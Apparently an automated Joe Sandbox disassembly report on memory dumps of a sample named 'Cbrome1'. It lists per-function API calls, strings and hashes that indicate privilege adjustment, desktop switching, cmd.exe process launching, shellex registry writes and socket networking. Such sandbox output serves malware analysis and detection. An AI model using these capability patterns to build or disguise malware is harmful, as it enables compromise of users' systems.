Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$Adva$Allo$AndI$Chec$Free$Sid$aliz$cate$eSid$enMe$kTok$mber$niti$pi32$ship
API String ID: 2574300362-3843195497
Opcode ID: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction ID: 3e3fb380923770d7171ba60eb699772db590ecd437f17ee84637d3884f5fc99a
Opcode Fuzzy Hash: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction Fuzzy Hash: E7415572604B41DEEB10CFA1E49479D7BB4F758B88F44412AEE895BB18DBB8C219CB44

Function 0000023A29E12DB0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000023A29E12DE1
GetProcAddress.KERNEL32 ref: 0000023A29E12DF4
GetProcAddress.KERNEL32 ref: 0000023A29E12E07
GetProcAddress.KERNEL32 ref: 0000023A29E12E1A
LoadLibraryA.KERNEL32 ref: 0000023A29E12E2A
GetProcAddress.KERNEL32 ref: 0000023A29E12E3D
LoadLibraryA.KERNEL32 ref: 0000023A29E12EA6
GetProcAddress.KERNEL32 ref: 0000023A29E12EB6
CloseHandle.KERNEL32 ref: 0000023A29E12ECC
FreeLibrary.KERNEL32 ref: 0000023A29E12EDA
FreeLibrary.KERNEL32 ref: 0000023A29E12EE8

Strings

LookupPrivilegeValueA, xrefs: 0000023A29E12E0D
AdjustTokenPrivileges, xrefs: 0000023A29E12DFA
ADVAPI32.dll, xrefs: 0000023A29E12DD7
GetLastError, xrefs: 0000023A29E12EAC
KERNEL32.dll, xrefs: 0000023A29E12E9F
kernel32.dll, xrefs: 0000023A29E12E20
OpenProcessToken, xrefs: 0000023A29E12DE7
GetCurrentProcess, xrefs: 0000023A29E12E30
SeShutdownPrivilege, xrefs: 0000023A29E12E63

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction ID: 1aef9d508d78d81c2a61db12aa0c650b127ae71996a97fbeffbf4622c10e912b
Opcode Fuzzy Hash: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction Fuzzy Hash: 21317E31210B0985EB40EB26F858AAB7378F784F91F48003AEE9E43725DE7CC669C705

Function 0000023A29E13A90 Relevance: 34.7, APIs: 23, Instructions: 171sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E119A0: WSAStartup.WS2_32 ref: 0000023A29E11A19
Part of subcall function 0000023A29E119A0: CreateEventA.KERNEL32 ref: 0000023A29E11A2A

GetTickCount64.KERNEL32 ref: 0000023A29E13AEF

Part of subcall function 0000023A29E11BF0: ResetEvent.KERNEL32 ref: 0000023A29E11C2D
Part of subcall function 0000023A29E11BF0: timeGetTime.WINMM ref: 0000023A29E11C3F
Part of subcall function 0000023A29E11BF0: socket.WS2_32 ref: 0000023A29E11C66

Sleep.KERNEL32 ref: 0000023A29E13B4B
GetTickCount64.KERNEL32 ref: 0000023A29E13B57
setsockopt.WS2_32 ref: 0000023A29E13BB7
CancelIo.KERNEL32 ref: 0000023A29E13BC1
closesocket.WS2_32 ref: 0000023A29E13BD2
SetEvent.KERNEL32 ref: 0000023A29E13BDC
TerminateThread.KERNEL32 ref: 0000023A29E13C03
WaitForSingleObject.KERNEL32 ref: 0000023A29E13C13
CloseHandle.KERNEL32 ref: 0000023A29E13C20
Sleep.KERNEL32 ref: 0000023A29E13C2B
CloseHandle.KERNEL32 ref: 0000023A29E13C47
GetTickCount64.KERNEL32 ref: 0000023A29E13D40

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Count64EventTick$CloseHandleSleep$CancelCreateObjectResetSingleStartupTerminateThreadTimeWaitclosesocketsetsockoptsockettime
String ID:
API String ID: 2857159816-0
Opcode ID: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction ID: 379ddcb2d94abc4e626a018affa3e1ae4629928e89a1675d2791319986d48310
Opcode Fuzzy Hash: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction Fuzzy Hash: DE814F35200B8086EB20DF25DC5CAAA3375F784B54F145229DEAA477A5DF3CCA59C301

Function 0000023A29E31BD0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000023A29E3065C: RtlLookupFunctionEntry.KERNEL32 ref: 0000023A29E306D0

__GetUnwindTryBlock.LIBCMT ref: 0000023A29E31C34
__SetUnwindTryBlock.LIBCMT ref: 0000023A29E31C5B

Part of subcall function 0000023A29E2581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000023A29E23332), ref: 0000023A29E25897

__GetUnwindTryBlock.LIBCMT ref: 0000023A29E31C65
_getptd.LIBCMT ref: 0000023A29E31CBB
_getptd.LIBCMT ref: 0000023A29E31CCE
_getptd.LIBCMT ref: 0000023A29E31CDA
_SetThrowImageBase.LIBCMT ref: 0000023A29E31CEE
_getptd.LIBCMT ref: 0000023A29E31D3E
_getptd.LIBCMT ref: 0000023A29E31D51
_getptd.LIBCMT ref: 0000023A29E31D5D
type_info::operator==.LIBCMT ref: 0000023A29E31DC4
std::exception::exception.LIBCMT ref: 0000023A29E31DFD
_getptd.LIBCMT ref: 0000023A29E32030
std::exception::exception.LIBCMT ref: 0000023A29E320A9

Strings

csm, xrefs: 0000023A29E31E22
csm, xrefs: 0000023A29E31D09
bad exception, xrefs: 0000023A29E31DEA
csm, xrefs: 0000023A29E31C7B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction ID: 7f7ff8702957e82128cbafdeab68d4c31b12d8bba93384e48f1967aaadee97d9
Opcode Fuzzy Hash: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction Fuzzy Hash: 63E17B32A0074086EB649B61D148BBF27B8F745F89F58453DEEC907B86DB38C665C70A

Function 0000023A295F1588 Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 493COMMONLIBRARYCODE

Download Yara Rule

APIs

__GetUnwindTryBlock.LIBCMT ref: 0000023A295F15EC
__SetUnwindTryBlock.LIBCMT ref: 0000023A295F1613
__GetUnwindTryBlock.LIBCMT ref: 0000023A295F161D
_getptd.LIBCMT ref: 0000023A295F1673
_getptd.LIBCMT ref: 0000023A295F1686
_getptd.LIBCMT ref: 0000023A295F1692
_SetThrowImageBase.LIBCMT ref: 0000023A295F16A6
_getptd.LIBCMT ref: 0000023A295F16F6
_getptd.LIBCMT ref: 0000023A295F1709
_getptd.LIBCMT ref: 0000023A295F1715
type_info::operator==.LIBCMT ref: 0000023A295F177C
std::exception::exception.LIBCMT ref: 0000023A295F17B5
_getptd.LIBCMT ref: 0000023A295F19E8
std::exception::exception.LIBCMT ref: 0000023A295F1A61

Strings

csm, xrefs: 0000023A295F17DA
csm, xrefs: 0000023A295F1633
csm, xrefs: 0000023A295F16C1

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseImageThrowtype_info::operator==
String ID: csm$csm$csm
API String ID: 3798665358-393685449
Opcode ID: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction ID: c8424b3bee3ed8bf0ff330a7a0d4e091d6c954b95bc39f0bbcf1eab462fcbb21
Opcode Fuzzy Hash: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction Fuzzy Hash: B3F1C630714A088FEB54AF6894497AA73F1FB55B20F44017DECC993682DB399A69C783

Function 0000023A29E12BA0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000023A29E12BD6
GetProcAddress.KERNEL32 ref: 0000023A29E12BEE
GetProcAddress.KERNEL32 ref: 0000023A29E12C01
GetProcAddress.KERNEL32 ref: 0000023A29E12C16
GetProcAddress.KERNEL32 ref: 0000023A29E12C29
LoadLibraryA.KERNEL32 ref: 0000023A29E12C39
GetProcAddress.KERNEL32 ref: 0000023A29E12C51
FreeLibrary.KERNEL32 ref: 0000023A29E12CA9
FreeLibrary.KERNEL32 ref: 0000023A29E12CB7

Strings

GetCurrentThreadId, xrefs: 0000023A29E12C47
SetThreadDesktop, xrefs: 0000023A29E12C0C
user32.dll, xrefs: 0000023A29E12BCF
kernel32.dll, xrefs: 0000023A29E12C32
CloseDesktop, xrefs: 0000023A29E12C1F
GetUserObjectInformationA, xrefs: 0000023A29E12BF7
GetThreadDesktop, xrefs: 0000023A29E12BE4

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2449869053-588083535
Opcode ID: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction ID: 835fa03a9bfb5c7bde16d0f2ad14924010e4c6c0f238f0d8c1cc8dade45546fa
Opcode Fuzzy Hash: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction Fuzzy Hash: 12310631215B4081EA519B22FC58BAB63B8FB89FD0F880139DE9A47714EF7CC665C746

Function 0000023A29E2DAB8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 192processsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000023A29E2DB08
_errno.LIBCMT ref: 0000023A29E2DB0F
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E2DB1A
__doserrno.LIBCMT ref: 0000023A29E2DC65
CreateProcessA.KERNEL32 ref: 0000023A29E2DCA7
GetLastError.KERNEL32 ref: 0000023A29E2DCAF
free.LIBCMT ref: 0000023A29E2DCBC
WaitForSingleObject.KERNEL32 ref: 0000023A29E2DCE9
GetExitCodeProcess.KERNEL32 ref: 0000023A29E2DCF7
CloseHandle.KERNEL32 ref: 0000023A29E2DD11
CloseHandle.KERNEL32 ref: 0000023A29E2DD21
_errno.LIBCMT ref: 0000023A29E2DD2C

Strings

cmd.exe, xrefs: 0000023A29E2DAC2

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CloseHandleProcess__doserrno_errno$CodeCreateErrorExitLastObjectSingleWait_invalid_parameter_noinfofree
String ID: cmd.exe
API String ID: 2975444996-723907552
Opcode ID: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction ID: d1b00a515a0bb44044f3b75b6cbe4c00b49226f54f82e1e46b1b78c4b938e334
Opcode Fuzzy Hash: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction Fuzzy Hash: 3171E032A00B4485FB208F65D458BAE37B0FB54F98F55422ACFAA077D5DA7CC6A5C302

Function 0000023A29E26228 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 0000023A29E26280

Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BEC2
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BED4
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BEE6
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BEF8
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF0A
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF1C
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF2E
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF40
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF52
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF64
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF79
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BF8E
Part of subcall function 0000023A29E2BEA4: free.LIBCMT ref: 0000023A29E2BFA3

free.LIBCMT ref: 0000023A29E26274

Part of subcall function 0000023A29E23D28: HeapFree.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D3E
Part of subcall function 0000023A29E23D28: _errno.LIBCMT ref: 0000023A29E23D48
Part of subcall function 0000023A29E23D28: GetLastError.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D50

free.LIBCMT ref: 0000023A29E26296
__free_lconv_num.LIBCMT ref: 0000023A29E262A2
free.LIBCMT ref: 0000023A29E262AE
free.LIBCMT ref: 0000023A29E262BA
free.LIBCMT ref: 0000023A29E262DE
free.LIBCMT ref: 0000023A29E262F2
free.LIBCMT ref: 0000023A29E26301
free.LIBCMT ref: 0000023A29E2630D
free.LIBCMT ref: 0000023A29E2633A
free.LIBCMT ref: 0000023A29E26362
free.LIBCMT ref: 0000023A29E2637C

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction ID: 5c26c97a8329967a74a0b228113e5e7984ef522d34890173a36a8d764e4d22c9
Opcode Fuzzy Hash: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction Fuzzy Hash: DF411572A0174884EF65DF61C458BEE23B0FB84F44F58153A9E8D5A296CF2CCAA1C712

Function 0000023A29E1F690 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E238A4: GetSystemTimeAsFileTime.KERNEL32 ref: 0000023A29E238B2

Part of subcall function 0000023A29E24238: _getptd.LIBCMT ref: 0000023A29E24240

rand.LIBCMT ref: 0000023A29E1F6D0

Part of subcall function 0000023A29E24250: _getptd.LIBCMT ref: 0000023A29E24254

lstrlen.KERNEL32 ref: 0000023A29E1F720
lstrlen.KERNEL32 ref: 0000023A29E1F77A
lstrlen.KERNEL32 ref: 0000023A29E1F7A0
RegOpenKeyExA.ADVAPI32 ref: 0000023A29E1F82C
RegSetValueExA.ADVAPI32 ref: 0000023A29E1F852
RegSetValueExA.ADVAPI32 ref: 0000023A29E1F87F
RegCloseKey.ADVAPI32 ref: 0000023A29E1F88A

Strings

lpKey, xrefs: 0000023A29E1F862
lpData, xrefs: 0000023A29E1F83F
SOFTWARE\Classes\*\shellex, xrefs: 0000023A29E1F810

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: lstrlen$TimeValue_getptd$CloseFileOpenSystemrand
String ID: SOFTWARE\Classes\*\shellex$lpData$lpKey
API String ID: 2327618628-1449424764
Opcode ID: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction ID: 2165c68f1063dd279ba8331617846de9661e112b117e4e543db8c155a7ddd7bc
Opcode Fuzzy Hash: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction Fuzzy Hash: 4651AC7261478082EB10DB25E458B9B77B0F789F84F48503AEECA47B5ADE3CC654CB05

Function 0000023A295F0DC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A295F0DF4
_getptd.LIBCMT ref: 0000023A295F0E08
_getptd.LIBCMT ref: 0000023A295F0E42
_getptd.LIBCMT ref: 0000023A295F0E4E
_getptd.LIBCMT ref: 0000023A295F0E5A
_CreateFrameInfo.LIBCMT ref: 0000023A295F0E6F

Part of subcall function 0000023A295F04C0: _getptd.LIBCMT ref: 0000023A295F04CC
Part of subcall function 0000023A295F04C0: _getptd.LIBCMT ref: 0000023A295F04DA
Part of subcall function 0000023A295F04C0: _getptd.LIBCMT ref: 0000023A295F04EE

_getptd.LIBCMT ref: 0000023A295F0E8D
_getptd.LIBCMT ref: 0000023A295F0F93
_getptd.LIBCMT ref: 0000023A295F0F9F

Strings

csm, xrefs: 0000023A295F0F53

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _getptd$CreateFrameInfo
String ID: csm
API String ID: 4181383844-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: d76fa734ee78020803720eb481955a1b9b94d9647af4eca5597a6a13d0492ed5
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: 35516E70218B048FEAA4EF289449BA673F0FB59720F44057EE4CDC3652D735A9568B83

Function 0000023A29E3140C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E3143C

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

_getptd.LIBCMT ref: 0000023A29E31450
_getptd.LIBCMT ref: 0000023A29E3148A
_getptd.LIBCMT ref: 0000023A29E31496
_getptd.LIBCMT ref: 0000023A29E314A2
_CreateFrameInfo.LIBCMT ref: 0000023A29E314B7

Part of subcall function 0000023A29E30B08: _getptd.LIBCMT ref: 0000023A29E30B14
Part of subcall function 0000023A29E30B08: _getptd.LIBCMT ref: 0000023A29E30B22
Part of subcall function 0000023A29E30B08: _getptd.LIBCMT ref: 0000023A29E30B36

_getptd.LIBCMT ref: 0000023A29E314D5
_getptd.LIBCMT ref: 0000023A29E315DB
_getptd.LIBCMT ref: 0000023A29E315E7

Strings

csm, xrefs: 0000023A29E3159B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 2d08d649a80f6da3c106ffbba70a9dbea1b157df4b22e728b525763c28f400be
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: 9E416C32104B8282E6709B12E444BAF77B8F785BA4F194239DEEE07B85DF38C2758701

Function 0000023A29E2F5D8 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E2F600
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E2F60B
__wtomb_environ.LIBCMT ref: 0000023A29E2F6ED
_errno.LIBCMT ref: 0000023A29E2F6F6
free.LIBCMT ref: 0000023A29E2F7E7
SetEnvironmentVariableA.KERNEL32 ref: 0000023A29E2F918
_errno.LIBCMT ref: 0000023A29E2F925
free.LIBCMT ref: 0000023A29E2F933
free.LIBCMT ref: 0000023A29E2F940
free.LIBCMT ref: 0000023A29E2F967

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction ID: 06463c5851f51e8aa620aee08c68b1ecd62417e1322bdfda8dc137c29662a978
Opcode Fuzzy Hash: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction Fuzzy Hash: B0A1DF32A1274451FA25AB15AA18B6B72B4BB40FD4F188A3CDEDA477D5DF3CC6618303

Function 0000023A29E11AC0 Relevance: 16.6, APIs: 11, Instructions: 75sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11ADC
CloseHandle.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11AEB
CloseHandle.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11AFA
CloseHandle.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B0C
WSACleanup.WS2_32 ref: 0000023A29E11B12
VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B29
VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B4D
VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B6F
VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11B9C
VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11BB7
VirtualFree.KERNEL32(?,?,?,0000023A29E11AA4), ref: 0000023A29E11BD2

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: FreeVirtual$CloseHandle$CleanupSleep
String ID:
API String ID: 21600312-0
Opcode ID: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction ID: 826899bd2af5132329c13a397483bbf88a1d21e16f41ad93dfa2cfde524e666f
Opcode Fuzzy Hash: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction Fuzzy Hash: BF31EC75202B0085EB98DF66E858B2A63B9FF84F85F084129CD9A42765DF3CC6A48716

Function 0000023A295D2F18 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 276COMMON

Download Yara Rule

APIs

_localtime64.LIBCMT ref: 0000023A295D3134

Part of subcall function 0000023A295E35D8: __getgmtimebuf.LIBCMT ref: 0000023A295E35EA

Part of subcall function 0000023A295E3620: _errno.LIBCMT ref: 0000023A295E3658
Part of subcall function 0000023A295E3620: _invalid_parameter_noinfo.LIBCMT ref: 0000023A295E3664
Part of subcall function 0000023A295E3620: _errno.LIBCMT ref: 0000023A295E36D3

Strings

.dll, xrefs: 0000023A295D301A
ameA, xrefs: 0000023A295D2FF5
Adva, xrefs: 0000023A295D3006
pi32, xrefs: 0000023A295D3010
2, xrefs: 0000023A295D2F84
serN, xrefs: 0000023A295D2FEB
GetU, xrefs: 0000023A295D2FE1
2, xrefs: 0000023A295D2FD9

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$__getgmtimebuf_invalid_parameter_noinfo_localtime64
String ID: .dll$2$2$Adva$GetU$ameA$pi32$serN
API String ID: 1626460918-1620219524
Opcode ID: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction ID: 32eaeeadaf2edf3229bfe625dd3249f3533e61f8b801232908d5a9dc9bd34a77
Opcode Fuzzy Hash: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction Fuzzy Hash: 36A1B5312146488FE729EF24D8487EE77E1FB54310F50422EE88AC71E2DF799A49CB42

Function 0000023A29E12CF0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000023A29E12D0C
GetProcAddress.KERNEL32 ref: 0000023A29E12D24
GetProcAddress.KERNEL32 ref: 0000023A29E12D37
GetProcAddress.KERNEL32 ref: 0000023A29E12D47
FreeLibrary.KERNEL32 ref: 0000023A29E12D85

Part of subcall function 0000023A29E12BA0: LoadLibraryA.KERNEL32 ref: 0000023A29E12BD6
Part of subcall function 0000023A29E12BA0: GetProcAddress.KERNEL32 ref: 0000023A29E12BEE
Part of subcall function 0000023A29E12BA0: GetProcAddress.KERNEL32 ref: 0000023A29E12C01
Part of subcall function 0000023A29E12BA0: GetProcAddress.KERNEL32 ref: 0000023A29E12C16
Part of subcall function 0000023A29E12BA0: GetProcAddress.KERNEL32 ref: 0000023A29E12C29
Part of subcall function 0000023A29E12BA0: LoadLibraryA.KERNEL32 ref: 0000023A29E12C39
